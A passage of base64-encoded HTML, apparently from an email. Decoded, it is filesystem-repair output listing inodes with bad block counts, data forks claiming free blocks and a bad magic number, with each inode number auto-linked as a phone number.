Y2U9InNlcmlmIj4sIHdvdWxkIHJlc2V0IHRvIDMwNzM8L2ZvbnQ+PGJyPg0KPGZvbnQgc2l6ZT0i MyIgZmFjZT0ic2VyaWYiPmJhZCBuYmxvY2tzIDI3IGZvciBpbm9kZSA8L2ZvbnQ+PGEgaHJlZj0i dGVsOjE2ODc2NTgyIj48Zm9udCBzaXplPSIzIiBjb2xvcj0iIzAwMDBGRiIgZmFjZT0ic2VyaWYi Pjx1PjE2ODc2NTgyPC91PjwvZm9udD48L2E+PGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPiwg d291bGQgcmVzZXQgdG8gMjY8L2ZvbnQ+PGJyPg0KPGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYi PmJhZCBuYmxvY2tzIDMyIGZvciBpbm9kZSA8L2ZvbnQ+PGEgaHJlZj0idGVsOjE2ODg5MzU0Ij48 Zm9udCBzaXplPSIzIiBjb2xvcj0iIzAwMDBGRiIgZmFjZT0ic2VyaWYiPjx1PjE2ODg5MzU0PC91 PjwvZm9udD48L2E+PGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPiwgd291bGQgcmVzZXQgdG8g MzM8L2ZvbnQ+PGJyPg0KPGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPmRhdGEgZm9yayBpbiBp bm8gPC9mb250PjxhIGhyZWY9InRlbDoxNjg5Mjg3MCI+PGZvbnQgc2l6ZT0iMyIgY29sb3I9IiMw MDAwRkYiIGZhY2U9InNlcmlmIj48dT4xNjg5Mjg3MDwvdT48L2ZvbnQ+PC9hPjxmb250IHNpemU9 IjMiIGZhY2U9InNlcmlmIj4mbmJzcDtjbGFpbXMgZnJlZSBibG9jayA8L2ZvbnQ+PGEgaHJlZj0i dGVsOjI3MzY3NjA2NyI+PGZvbnQgc2l6ZT0iMyIgY29sb3I9IiMwMDAwRkYiIGZhY2U9InNlcmlm Ij48dT4yNzM2NzYwNjc8L3U+PC9mb250PjwvYT48YnI+DQo8Zm9udCBzaXplPSIzIiBmYWNlPSJz ZXJpZiI+ZGF0YSBmb3JrIGluIGlubyA8L2ZvbnQ+PGEgaHJlZj0idGVsOjE2ODk2MTcxIj48Zm9u dCBzaXplPSIzIiBjb2xvcj0iIzAwMDBGRiIgZmFjZT0ic2VyaWYiPjx1PjE2ODk2MTcxPC91Pjwv Zm9udD48L2E+PGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPiZuYnNwO2NsYWltcyBmcmVlIGJs b2NrIDwvZm9udD48YSBocmVmPSJ0ZWw6OTMxMDYzMCI+PGZvbnQgc2l6ZT0iMyIgY29sb3I9IiMw MDAwRkYiIGZhY2U9InNlcmlmIj48dT45MzEwNjMwPC91PjwvZm9udD48L2E+PGJyPg0KPGZvbnQg c2l6ZT0iMyIgZmFjZT0ic2VyaWYiPmRhdGEgZm9yayBpbiBpbm8gPC9mb250PjxhIGhyZWY9InRl bDoxNjg5NjE3MSI+PGZvbnQgc2l6ZT0iMyIgY29sb3I9IiMwMDAwRkYiIGZhY2U9InNlcmlmIj48 dT4xNjg5NjE3MTwvdT48L2ZvbnQ+PC9hPjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj4mbmJz cDtjbGFpbXMgZnJlZSBibG9jayA8L2ZvbnQ+PGEgaHJlZj0idGVsOjkzMTA2MzEiPjxmb250IHNp emU9IjMiIGNvbG9yPSIjMDAwMEZGIiBmYWNlPSJzZXJpZiI+PHU+OTMxMDYzMTwvdT48L2ZvbnQ+ PC9hPjxicj4NCjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj5iYWQgbmJsb2NrcyA2ODIgZm9y IGlub2RlIDwvZm9udD48YSBocmVmPSJ0ZWw6MTY4OTYxNzEiPjxmb250IHNpemU9IjMiIGNvbG9y PSIjMDAwMEZGIiBmYWNlPSJzZXJpZiI+PHU+MTY4OTYxNzE8L3U+PC9mb250PjwvYT48Zm9udCBz aXplPSIzIiBmYWNlPSJzZXJpZiI+LCB3b3VsZCByZXNldCB0byA2ODk8L2ZvbnQ+PGJyPg0KPGZv bnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPmRhdGEgZm9yayBpbiBpbm8gPC9mb250PjxhIGhyZWY9 InRlbDoxNjg5Njc5MiI+PGZvbnQgc2l6ZT0iMyIgY29sb3I9IiMwMDAwRkYiIGZhY2U9InNlcmlm Ij48dT4xNjg5Njc5MjwvdT48L2ZvbnQ+PC9hPjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj4m bmJzcDtjbGFpbXMgZnJlZSBibG9jayA8L2ZvbnQ+PGEgaHJlZj0idGVsOjkzMTQ0NDciPjxmb250 IHNpemU9IjMiIGNvbG9yPSIjMDAwMEZGIiBmYWNlPSJzZXJpZiI+PHU+OTMxNDQ0NzwvdT48L2Zv bnQ+PC9hPjxicj4NCjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj5iYWQgbmJsb2NrcyAxNjE3 IGZvciBpbm9kZSA8L2ZvbnQ+PGEgaHJlZj0idGVsOjE2ODk2NzkyIj48Zm9udCBzaXplPSIzIiBj b2xvcj0iIzAwMDBGRiIgZmFjZT0ic2VyaWYiPjx1PjE2ODk2NzkyPC91PjwvZm9udD48L2E+PGZv bnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPiwgd291bGQgcmVzZXQgdG8gMTYxODwvZm9udD48YnI+ DQo8Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+ZGF0YSBmb3JrIGluIGlubyA8L2ZvbnQ+PGEg aHJlZj0idGVsOjE2OTA2MzcwIj48Zm9udCBzaXplPSIzIiBjb2xvcj0iIzAwMDBGRiIgZmFjZT0i c2VyaWYiPjx1PjE2OTA2MzcwPC91PjwvZm9udD48L2E+PGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2Vy aWYiPiZuYnNwO2NsYWltcyBmcmVlIGJsb2NrIDwvZm9udD48YSBocmVmPSJ0ZWw6OTMxMzg2MCI+ PGZvbnQgc2l6ZT0iMyIgY29sb3I9IiMwMDAwRkYiIGZhY2U9InNlcmlmIj48dT45MzEzODYwPC91 PjwvZm9udD48L2E+PGJyPg0KPGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPmRhdGEgZm9yayBp biBpbm8gPC9mb250PjxhIGhyZWY9InRlbDoxNjkwNjM3MCI+PGZvbnQgc2l6ZT0iMyIgY29sb3I9 IiMwMDAwRkYiIGZhY2U9InNlcmlmIj48dT4xNjkwNjM3MDwvdT48L2ZvbnQ+PC9hPjxmb250IHNp emU9IjMiIGZhY2U9InNlcmlmIj4mbmJzcDtjbGFpbXMgZnJlZSBibG9jayA8L2ZvbnQ+PGEgaHJl Zj0idGVsOjkzMTM4NjEiPjxmb250IHNpemU9IjMiIGNvbG9yPSIjMDAwMEZGIiBmYWNlPSJzZXJp ZiI+PHU+OTMxMzg2MTwvdT48L2ZvbnQ+PC9hPjxicj4NCjxmb250IHNpemU9IjMiIGZhY2U9InNl cmlmIj5iYWQgbmJsb2NrcyAyNDQgZm9yIGlub2RlIDwvZm9udD48YSBocmVmPSJ0ZWw6MTY5MDYz NzAiPjxmb250IHNpemU9IjMiIGNvbG9yPSIjMDAwMEZGIiBmYWNlPSJzZXJpZiI+PHU+MTY5MDYz NzA8L3U+PC9mb250PjwvYT48Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+LCB3b3VsZCByZXNl dCB0byAyNTc8L2ZvbnQ+PGJyPg0KPGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPmRhdGEgZm9y ayBpbiBpbm8gPC9mb250PjxhIGhyZWY9InRlbDoxNjkwODg4OCI+PGZvbnQgc2l6ZT0iMyIgY29s b3I9IiMwMDAwRkYiIGZhY2U9InNlcmlmIj48dT4xNjkwODg4ODwvdT48L2ZvbnQ+PC9hPjxmb250 IHNpemU9IjMiIGZhY2U9InNlcmlmIj4mbmJzcDtjbGFpbXMgZnJlZSBibG9jayA8L2ZvbnQ+PGEg aHJlZj0idGVsOjkzMDU4MTMiPjxmb250IHNpemU9IjMiIGNvbG9yPSIjMDAwMEZGIiBmYWNlPSJz ZXJpZiI+PHU+OTMwNTgxMzwvdT48L2ZvbnQ+PC9hPjxicj4NCjxmb250IHNpemU9IjMiIGZhY2U9 InNlcmlmIj5kYXRhIGZvcmsgaW4gaW5vIDwvZm9udD48YSBocmVmPSJ0ZWw6MTY5MDg4ODgiPjxm b250IHNpemU9IjMiIGNvbG9yPSIjMDAwMEZGIiBmYWNlPSJzZXJpZiI+PHU+MTY5MDg4ODg8L3U+ PC9mb250PjwvYT48Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+Jm5ic3A7Y2xhaW1zIGZyZWUg YmxvY2sgPC9mb250PjxhIGhyZWY9InRlbDo5MzA1ODE0Ij48Zm9udCBzaXplPSIzIiBjb2xvcj0i IzAwMDBGRiIgZmFjZT0ic2VyaWYiPjx1PjkzMDU4MTQ8L3U+PC9mb250PjwvYT48YnI+DQo8Zm9u dCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+YmFkIG5ibG9ja3MgMjQxNyBmb3IgaW5vZGUgPC9mb250 PjxhIGhyZWY9InRlbDoxNjkxMTM2OCI+PGZvbnQgc2l6ZT0iMyIgY29sb3I9IiMwMDAwRkYiIGZh Y2U9InNlcmlmIj48dT4xNjkxMTM2ODwvdT48L2ZvbnQ+PC9hPjxmb250IHNpemU9IjMiIGZhY2U9 InNlcmlmIj4sIHdvdWxkIHJlc2V0IHRvIDI0MTY8L2ZvbnQ+PGJyPg0KPGZvbnQgc2l6ZT0iMyIg ZmFjZT0ic2VyaWYiPmJhZCBuYmxvY2tzIDk1MCBmb3IgaW5vZGUgPC9mb250PjxhIGhyZWY9InRl bDoxNjkxMjY4MiI+PGZvbnQgc2l6ZT0iMyIgY29sb3I9IiMwMDAwRkYiIGZhY2U9InNlcmlmIj48 dT4xNjkxMjY4MjwvdT48L2ZvbnQ+PC9hPjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj4sIHdv dWxkIHJlc2V0IHRvIDk0OTwvZm9udD48YnI+DQo8Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+ ZGF0YSBmb3JrIGluIGlubyA8L2ZvbnQ+PGEgaHJlZj0idGVsOjE2OTE2Njg2Ij48Zm9udCBzaXpl PSIzIiBjb2xvcj0iIzAwMDBGRiIgZmFjZT0ic2VyaWYiPjx1PjE2OTE2Njg2PC91PjwvZm9udD48 L2E+PGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPiZuYnNwO2NsYWltcyBmcmVlIGJsb2NrIDwv Zm9udD48YSBocmVmPSJ0ZWw6NTA5NjM5NiI+PGZvbnQgc2l6ZT0iMyIgY29sb3I9IiMwMDAwRkYi IGZhY2U9InNlcmlmIj48dT41MDk2Mzk2PC91PjwvZm9udD48L2E+PGJyPg0KPGZvbnQgc2l6ZT0i MyIgZmFjZT0ic2VyaWYiPmRhdGEgZm9yayBpbiBpbm8gPC9mb250PjxhIGhyZWY9InRlbDoxNjkx NjY4NiI+PGZvbnQgc2l6ZT0iMyIgY29sb3I9IiMwMDAwRkYiIGZhY2U9InNlcmlmIj48dT4xNjkx NjY4NjwvdT48L2ZvbnQ+PC9hPjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj4mbmJzcDtjbGFp bXMgZnJlZSBibG9jayA8L2ZvbnQ+PGEgaHJlZj0idGVsOjUwOTYzOTciPjxmb250IHNpemU9IjMi IGNvbG9yPSIjMDAwMEZGIiBmYWNlPSJzZXJpZiI+PHU+NTA5NjM5NzwvdT48L2ZvbnQ+PC9hPjxi cj4NCjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj5kYXRhIGZvcmsgaW4gaW5vIDwvZm9udD48 YSBocmVmPSJ0ZWw6MTY5MjIwNzciPjxmb250IHNpemU9IjMiIGNvbG9yPSIjMDAwMEZGIiBmYWNl PSJzZXJpZiI+PHU+MTY5MjIwNzc8L3U+PC9mb250PjwvYT48Zm9udCBzaXplPSIzIiBmYWNlPSJz ZXJpZiI+Jm5ic3A7Y2xhaW1zIGZyZWUgYmxvY2sgPC9mb250PjxhIGhyZWY9InRlbDo5MzExODU5 Ij48Zm9udCBzaXplPSIzIiBjb2xvcj0iIzAwMDBGRiIgZmFjZT0ic2VyaWYiPjx1PjkzMTE4NTk8 L3U+PC9mb250PjwvYT48YnI+DQo8Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+ZGF0YSBmb3Jr IGluIGlubyA8L2ZvbnQ+PGEgaHJlZj0idGVsOjE2OTIyMDc3Ij48Zm9udCBzaXplPSIzIiBjb2xv cj0iIzAwMDBGRiIgZmFjZT0ic2VyaWYiPjx1PjE2OTIyMDc3PC91PjwvZm9udD48L2E+PGZvbnQg c2l6ZT0iMyIgZmFjZT0ic2VyaWYiPiZuYnNwO2NsYWltcyBmcmVlIGJsb2NrIDwvZm9udD48YSBo cmVmPSJ0ZWw6OTMxMTg2MCI+PGZvbnQgc2l6ZT0iMyIgY29sb3I9IiMwMDAwRkYiIGZhY2U9InNl cmlmIj48dT45MzExODYwPC91PjwvZm9udD48L2E+PGJyPg0KPGZvbnQgc2l6ZT0iMyIgZmFjZT0i c2VyaWYiPmRhdGEgZm9yayBpbiBpbm8gPC9mb250PjxhIGhyZWY9InRlbDoxNjkyMzA3MiI+PGZv bnQgc2l6ZT0iMyIgY29sb3I9IiMwMDAwRkYiIGZhY2U9InNlcmlmIj48dT4xNjkyMzA3MjwvdT48 L2ZvbnQ+PC9hPjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj4mbmJzcDtjbGFpbXMgZnJlZSBi bG9jayA8L2ZvbnQ+PGEgaHJlZj0idGVsOjEwNzcxODM4NTQiPjxmb250IHNpemU9IjMiIGNvbG9y PSIjMDAwMEZGIiBmYWNlPSJzZXJpZiI+PHU+MTA3NzE4Mzg1NDwvdT48L2ZvbnQ+PC9hPjxicj4N Cjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj5iYWQgbmJsb2NrcyAyMzUwIGZvciBpbm9kZSA8 L2ZvbnQ+PGEgaHJlZj0idGVsOjE2OTIzMDcyIj48Zm9udCBzaXplPSIzIiBjb2xvcj0iIzAwMDBG RiIgZmFjZT0ic2VyaWYiPjx1PjE2OTIzMDcyPC91PjwvZm9udD48L2E+PGZvbnQgc2l6ZT0iMyIg ZmFjZT0ic2VyaWYiPiwgd291bGQgcmVzZXQgdG8gMjM1NDwvZm9udD48YnI+DQo8Zm9udCBzaXpl PSIzIiBmYWNlPSJzZXJpZiI+ZGF0YSBmb3JrIGluIGlubyA8L2ZvbnQ+PGEgaHJlZj0idGVsOjE2 OTIzNTQ5Ij48Zm9udCBzaXplPSIzIiBjb2xvcj0iIzAwMDBGRiIgZmFjZT0ic2VyaWYiPjx1PjE2 OTIzNTQ5PC91PjwvZm9udD48L2E+PGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPiZuYnNwO2Ns YWltcyBmcmVlIGJsb2NrIDwvZm9udD48YSBocmVmPSJ0ZWw6OTMwNDczMyI+PGZvbnQgc2l6ZT0i MyIgY29sb3I9IiMwMDAwRkYiIGZhY2U9InNlcmlmIj48dT45MzA0NzMzPC91PjwvZm9udD48L2E+ PGJyPg0KPGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPmRhdGEgZm9yayBpbiBpbm8gPC9mb250 PjxhIGhyZWY9InRlbDoxNjkyMzU0OSI+PGZvbnQgc2l6ZT0iMyIgY29sb3I9IiMwMDAwRkYiIGZh Y2U9InNlcmlmIj48dT4xNjkyMzU0OTwvdT48L2ZvbnQ+PC9hPjxmb250IHNpemU9IjMiIGZhY2U9 InNlcmlmIj4mbmJzcDtjbGFpbXMgZnJlZSBibG9jayA8L2ZvbnQ+PGEgaHJlZj0idGVsOjkzMDQ3 MzQiPjxmb250IHNpemU9IjMiIGNvbG9yPSIjMDAwMEZGIiBmYWNlPSJzZXJpZiI+PHU+OTMwNDcz NDwvdT48L2ZvbnQ+PC9hPjxicj4NCjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj5iYWQgbmJs b2NrcyAxMDE2IGZvciBpbm9kZSA8L2ZvbnQ+PGEgaHJlZj0idGVsOjE2OTIzNTQ5Ij48Zm9udCBz aXplPSIzIiBjb2xvcj0iIzAwMDBGRiIgZmFjZT0ic2VyaWYiPjx1PjE2OTIzNTQ5PC91PjwvZm9u dD48L2E+PGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPiwgd291bGQgcmVzZXQgdG8gMTAyNTwv Zm9udD48YnI+DQo8Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+ZGF0YSBmb3JrIGluIGlubyA8 L2ZvbnQ+PGEgaHJlZj0idGVsOjE2OTI3NDE3Ij48Zm9udCBzaXplPSIzIiBjb2xvcj0iIzAwMDBG RiIgZmFjZT0ic2VyaWYiPjx1PjE2OTI3NDE3PC91PjwvZm9udD48L2E+PGZvbnQgc2l6ZT0iMyIg ZmFjZT0ic2VyaWYiPiZuYnNwO2NsYWltcyBmcmVlIGJsb2NrIDwvZm9udD48YSBocmVmPSJ0ZWw6 OTMyMTQ5NSI+PGZvbnQgc2l6ZT0iMyIgY29sb3I9IiMwMDAwRkYiIGZhY2U9InNlcmlmIj48dT45 MzIxNDk1PC91PjwvZm9udD48L2E+PGJyPg0KPGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPmRh dGEgZm9yayBpbiBpbm8gPC9mb250PjxhIGhyZWY9InRlbDoxNjkyNzQxNyI+PGZvbnQgc2l6ZT0i MyIgY29sb3I9IiMwMDAwRkYiIGZhY2U9InNlcmlmIj48dT4xNjkyNzQxNzwvdT48L2ZvbnQ+PC9h Pjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj4mbmJzcDtjbGFpbXMgZnJlZSBibG9jayA8L2Zv bnQ+PGEgaHJlZj0idGVsOjkzMjE0OTYiPjxmb250IHNpemU9IjMiIGNvbG9yPSIjMDAwMEZGIiBm YWNlPSJzZXJpZiI+PHU+OTMyMTQ5NjwvdT48L2ZvbnQ+PC9hPjxicj4NCjxmb250IHNpemU9IjMi IGZhY2U9InNlcmlmIj5iYWQgbWFnaWMgIyAweDIwMzEzMDMwIGluIGlub2RlIDwvZm9udD48YSBo cmVmPSJ0ZWw6MTY5Mjc3MjEiPjxmb250IHNpemU9IjMiIGNvbG9yPSIjMDAwMEZGIiBmYWNlPSJz ZXJpZiI+PHU+MTY5Mjc3MjE8L3U+PC9mb250PjwvYT48Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJp ZiI+Jm5ic3A7KGRhdGEgZm9yaykgYm1idCBibG9jayA8L2ZvbnQ+PGEgaHJlZj0idGVsOjkzMDU1 MzQiPjxmb250IHNpemU9IjMiIGNvbG9yPSIjMDAwMEZGIiBmYWNlPSJzZXJpZiI+PHU+OTMwNTUz NDwvdT48L2ZvbnQ+PC9hPjxicj4NCjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj5iYWQgZGF0 YSBmb3JrIGluIGlub2RlIDwvZm9udD48YSBocmVmPSJ0ZWw6MTY5Mjc3MjEiPjxmb250IHNpemU9 IjMiIGNvbG9yPSIjMDAwMEZGIiBmYWNlPSJzZXJpZiI+PHU+MTY5Mjc3MjE8L3U+PC9mb250Pjwv YT48YnI+DQo8Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+d291bGQgaGF2ZSBjbGVhcmVkIGlu b2RlIDwvZm9udD48YSBocmVmPSJ0ZWw6MTY5Mjc3MjEiPjxmb250IHNpemU9IjMiIGNvbG9yPSIj MDAwMEZGIiBmYWNlPSJzZXJpZiI+PHU+MTY5Mjc3MjE8L3U+PC9mb250PjwvYT48YnI+DQo8Zm9u dCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+ZGF0YSBmb3JrIGluIGlubyA8L2ZvbnQ+PGEgaHJlZj0i dGVsOjE2OTI4NDUwIj48Zm9udCBzaXplPSIzIiBjb2xvcj0iIzAwMDBGRiIgZmFjZT0ic2VyaWYi Pjx1PjE2OTI4NDUwPC91PjwvZm9udD48L2E+PGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPiZu YnNwO2NsYWltcyBmcmVlIGJsb2NrIDwvZm9udD48YSBocmVmPSJ0ZWw6OTMxODQ4MCI+PGZvbnQg c2l6ZT0iMyIgY29sb3I9IiMwMDAwRkYiIGZhY2U9InNlcmlmIj48dT45MzE4NDgwPC91PjwvZm9u dD48L2E+PGJyPg0KPGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPmRhdGEgZm9yayBpbiBpbm8g PC9mb250PjxhIGhyZWY9InRlbDoxNjkyODQ1MCI+PGZvbnQgc2l6ZT0iMyIgY29sb3I9IiMwMDAw RkYiIGZhY2U9InNlcmlmIj48dT4xNjkyODQ1MDwvdT48L2ZvbnQ+PC9hPjxmb250IHNpemU9IjMi IGZhY2U9InNlcmlmIj4mbmJzcDtjbGFpbXMgZnJlZSBibG9jayA8L2ZvbnQ+PGEgaHJlZj0idGVs OjkzMTg0ODEiPjxmb250IHNpemU9IjMiIGNvbG9yPSIjMDAwMEZGIiBmYWNlPSJzZXJpZiI+PHU+ OTMxODQ4MTwvdT48L2ZvbnQ+PC9hPjxicj4NCjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj5i YWQgbmJsb2NrcyAyNDEgZm9yIGlub2RlIDwvZm9udD48YSBocmVmPSJ0ZWw6MTY5MzgzNjMiPjxm b250IHNpemU9IjMiIGNvbG9yPSIjMDAwMEZGIiBmYWNlPSJzZXJpZiI+PHU+MTY5MzgzNjM8L3U+ PC9mb250PjwvYT48Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+LCB3b3VsZCByZXNldCB0byAy NDA8L2ZvbnQ+PGJyPg0KPGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPmJhZCBuYmxvY2tzIDI4 OSBmb3IgaW5vZGUgPC9mb250PjxhIGhyZWY9InRlbDoxNjk0MDQwMCI+PGZvbnQgc2l6ZT0iMyIg Y29sb3I9IiMwMDAwRkYiIGZhY2U9InNlcmlmIj48dT4xNjk0MDQwMDwvdT48L2ZvbnQ+PC9hPjxm b250IHNpemU9IjMiIGZhY2U9InNlcmlmIj4sIHdvdWxkIHJlc2V0IHRvIDI1NzwvZm9udD48YnI+ DQo8Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+YmFkIG5leHRlbnRzIDMyIGZvciBpbm9kZSA8 L2ZvbnQ+PGEgaHJlZj0idGVsOjE2OTQwNDAwIj48Zm9udCBzaXplPSIzIiBjb2xvcj0iIzAwMDBG RiIgZmFjZT0ic2VyaWYiPjx1PjE2OTQwNDAwPC91PjwvZm9udD48L2E+PGZvbnQgc2l6ZT0iMyIg ZmFjZT0ic2VyaWYiPiwgd291bGQgcmVzZXQgdG8gMzE8L2ZvbnQ+PGJyPg0KPGZvbnQgc2l6ZT0i MyIgZmFjZT0ic2VyaWYiPmRhdGEgZm9yayBpbiBpbm8gPC9mb250PjxhIGhyZWY9InRlbDoxNjk0 MjEyMiI+PGZvbnQgc2l6ZT0iMyIgY29sb3I9IiMwMDAwRkYiIGZhY2U9InNlcmlmIj48dT4xNjk0 MjEyMjwvdT48L2ZvbnQ+PC9hPjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj4mbmJzcDtjbGFp bXMgZnJlZSBibG9jayA8L2ZvbnQ+PGEgaHJlZj0idGVsOjkzMDQxNDMiPjxmb250IHNpemU9IjMi IGNvbG9yPSIjMDAwMEZGIiBmYWNlPSJzZXJpZiI+PHU+OTMwNDE0MzwvdT48L2ZvbnQ+PC9hPjxi cj4NCjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj5kYXRhIGZvcmsgaW4gaW5vIDwvZm9udD48 YSBocmVmPSJ0ZWw6MTY5NDIxMjIiPjxmb250IHNpemU9IjMiIGNvbG9yPSIjMDAwMEZGIiBmYWNl PSJzZXJpZiI+PHU+MTY5NDIxMjI8L3U+PC9mb250PjwvYT48Zm9udCBzaXplPSIzIiBmYWNlPSJz ZXJpZiI+Jm5ic3A7Y2xhaW1zIGZyZWUgYmxvY2sgPC9mb250PjxhIGhyZWY9InRlbDo5MzA0MTQ0 Ij48Zm9udCBzaXplPSIzIiBjb2xvcj0iIzAwMDBGRiIgZmFjZT0ic2VyaWYiPjx1PjkzMDQxNDQ8 L3U+PC9mb250PjwvYT48YnI+DQo8Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+YmFkIG5ibG9j a3MgMTA2IGZvciBpbm9kZSA8L2ZvbnQ+PGEgaHJlZj0idGVsOjE2OTQyMTIyIj48Zm9udCBzaXpl PSIzIiBjb2xvcj0iIzAwMDBGRiIgZmFjZT0ic2VyaWYiPjx1PjE2OTQyMTIyPC91PjwvZm9udD48 L2E+PGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPiwgd291bGQgcmVzZXQgdG8gMTEzPC9mb250 Pjxicj4NCjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj5kYXRhIGZvcmsgaW4gaW5vIDwvZm9u dD48YSBocmVmPSJ0ZWw6MTY5NDY0MDUiPjxmb250IHNpemU9IjMiIGNvbG9yPSIjMDAwMEZGIiBm YWNlPSJzZXJpZiI+PHU+MTY5NDY0MDU8L3U+PC9mb250PjwvYT48Zm9udCBzaXplPSIzIiBmYWNl PSJzZXJpZiI+Jm5ic3A7Y2xhaW1zIGZyZWUgYmxvY2sgPC9mb250PjxhIGhyZWY9InRlbDo5MzEx NDQzIj48Zm9udCBzaXplPSIzIiBjb2xvcj0iIzAwMDBGRiIgZmFjZT0ic2VyaWYiPjx1PjkzMTE0 NDM8L3U+PC9mb250PjwvYT48YnI+DQo8Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+ZGF0YSBm b3JrIGluIGlubyA8L2ZvbnQ+PGEgaHJlZj0idGVsOjE2OTQ2NDA1Ij48Zm9udCBzaXplPSIzIiBj b2xvcj0iIzAwMDBGRiIgZmFjZT0ic2VyaWYiPjx1PjE2OTQ2NDA1PC91PjwvZm9udD48L2E+PGZv bnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPiZuYnNwO2NsYWltcyBmcmVlIGJsb2NrIDwvZm9udD48 YSBocmVmPSJ0ZWw6OTMxMTQ0NCI+PGZvbnQgc2l6ZT0iMyIgY29sb3I9IiMwMDAwRkYiIGZhY2U9 InNlcmlmIj48dT45MzExNDQ0PC91PjwvZm9udD48L2E+PGJyPg0KPGZvbnQgc2l6ZT0iMyIgZmFj ZT0ic2VyaWYiPmJhZCBuYmxvY2tzIDEwNTMgZm9yIGlub2RlIDwvZm9udD48YSBocmVmPSJ0ZWw6 MTY5NDY0MDUiPjxmb250IHNpemU9IjMiIGNvbG9yPSIjMDAwMEZGIiBmYWNlPSJzZXJpZiI+PHU+ MTY5NDY0MDU8L3U+PC9mb250PjwvYT48Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+LCB3b3Vs ZCByZXNldCB0byAxMDU3PC9mb250Pjxicj4NCjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj5k YXRhIGZvcmsgaW4gaW5vIDwvZm9udD48YSBocmVmPSJ0ZWw6MTY5NDg3NzYiPjxmb250IHNpemU9 IjMiIGNvbG9yPSIjMDAwMEZGIiBmYWNlPSJzZXJpZiI+PHU+MTY5NDg3NzY8L3U+PC9mb250Pjwv YT48Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+Jm5ic3A7Y2xhaW1zIGZyZWUgYmxvY2sgPC9m b250PjxhIGhyZWY9InRlbDo5MzE3NjY1Ij48Zm9udCBzaXplPSIzIiBjb2xvcj0iIzAwMDBGRiIg ZmFjZT0ic2VyaWYiPjx1PjkzMTc2NjU8L3U+PC9mb250PjwvYT48YnI+DQo8Zm9udCBzaXplPSIz IiBmYWNlPSJzZXJpZiI+ZGF0YSBmb3JrIGluIGlubyA8L2ZvbnQ+PGEgaHJlZj0idGVsOjE2OTQ4 Nzc2Ij48Zm9udCBzaXplPSIzIiBjb2xvcj0iIzAwMDBGRiIgZmFjZT0ic2VyaWYiPjx1PjE2OTQ4 Nzc2PC91PjwvZm9udD48L2E+PGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPiZuYnNwO2NsYWlt cyBmcmVlIGJsb2NrIDwvZm9udD48YSBocmVmPSJ0ZWw6OTMxNzY2NiI+PGZvbnQgc2l6ZT0iMyIg Y29sb3I9IiMwMDAwRkYiIGZhY2U9InNlcmlmIj48dT45MzE3NjY2PC91PjwvZm9udD48L2E+PGJy Pg0KPGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPmJhZCBuYmxvY2tzIDY4MSBmb3IgaW5vZGUg PC9mb250PjxhIGhyZWY9InRlbDoxNjk0ODc3NiI+PGZvbnQgc2l6ZT0iMyIgY29sb3I9IiMwMDAw RkYiIGZhY2U9InNlcmlmIj48dT4xNjk0ODc3NjwvdT48L2ZvbnQ+PC9hPjxmb250IHNpemU9IjMi IGZhY2U9InNlcmlmIj4sIHdvdWxkIHJlc2V0IHRvIDY4OTwvZm9udD48YnI+DQo8Zm9udCBzaXpl PSIzIiBmYWNlPSJzZXJpZiI+YmFkIG5ibG9ja3MgNTYyIGZvciBpbm9kZSA8L2ZvbnQ+PGEgaHJl 